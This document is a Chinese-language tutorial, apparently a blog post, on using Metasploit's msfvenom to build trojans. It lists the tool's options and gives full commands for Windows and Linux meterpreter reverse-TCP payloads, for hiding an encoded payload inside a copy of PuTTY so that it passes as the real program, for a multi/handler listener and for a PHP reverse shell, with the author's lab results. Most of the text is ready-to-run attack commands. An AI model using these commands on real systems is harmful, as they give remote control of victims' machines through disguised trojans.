msfvenom也只metasploit中的一個很強的工具,msfvenom生成木馬非常的迅速可以各種版本的木馬
該工具由msfpaylod
和msfencodes
的組成
生成木馬是需要在本地監聽,等待木馬上線即可。該步驟在meterpretr的使用有使用到
命令
這里我們主要講解msfvenom
的命令
命令 | 參數 |
---|---|
-l | 列出指定模塊中payload的數量,payload.nops.all...... |
-p | 指定使用的payload |
-f | 指定輸出文件的格式,例如 exe、elf |
-e | 指定編碼類型 |
-i | 編碼次數 |
-a | 指定目標結構,例如x86、x64 |
-o | 導出木馬的位置 |
-b | 木馬中不能出現的字符 |
-x | 將payload加入到的文件 |
-k | 將payload加入到原文件的復制中 |
查找模塊
msfvenom -l platforms
查看支持的平台
參數很長,可能記不清楚,那么我們只需要輸入一個錯誤的模塊,msfvenom會提示我們可以查看那些
可以看到我們可以查詢的模塊
例如我們想要查找一個windows
帶有meterpreter
控制台的,我們可以執行
msfvenom -l payloads|grep windows|grep meterpreter
這里已經找到了相關的模塊
msfvenom -l encoders
,查看可用的編碼模塊
生成一個windows
木馬
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.1 LPORT=1234 -f exe -o /root/shell.exe
生成一個linux
木馬
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.1.1 LPORT=1234 -f elf -o /root/shell.elf
將我們的木馬加入到exe
文件
這里由常用的遠程連接工具putty
為例
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.1 LPORT=1234 -x putty.exe -k -a x86 -e x86/shikata_ga_nai -i 2 -f exe -o super_putty.exe
注意:-a
指定結構,x
指定文件,-e
指定編碼方式,-i
指定編碼次數
這里編碼並沒有成功導出文件,報錯了,提示我們溢出,正常情況下是可以成功的
后續我換了一個putty
的版本成功了
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.102 LPORT=1234 -x putty.exe -k -e ruby/base64 -i 1 -f exe -o S_putty.exe
於上次不同這次使用的是ruby/base64
加密
將木馬共享到windows電腦上指定putty,
在本機設置監聽,在windows電腦上執行我們的木馬,查看是否可以反彈shell
use exploit/multi\handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.102
set LPORT 1234
run
這里我並沒有反彈成功,在靶機執行程序崩潰了,出了些問題,但是我們的命令沒有出問題,可以再換一個程序試一試
之前測試是可以成功的
php反彈
查找php
payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.102 LPORT=1234 -f raw > shell.php
這里反彈shell我是成功了,但是使用shell
連接執行命令的時候總是斷開,可能不支持吧,這里還是建議手寫的一句話木馬
在linux中我嘗試的時候,無法反彈shell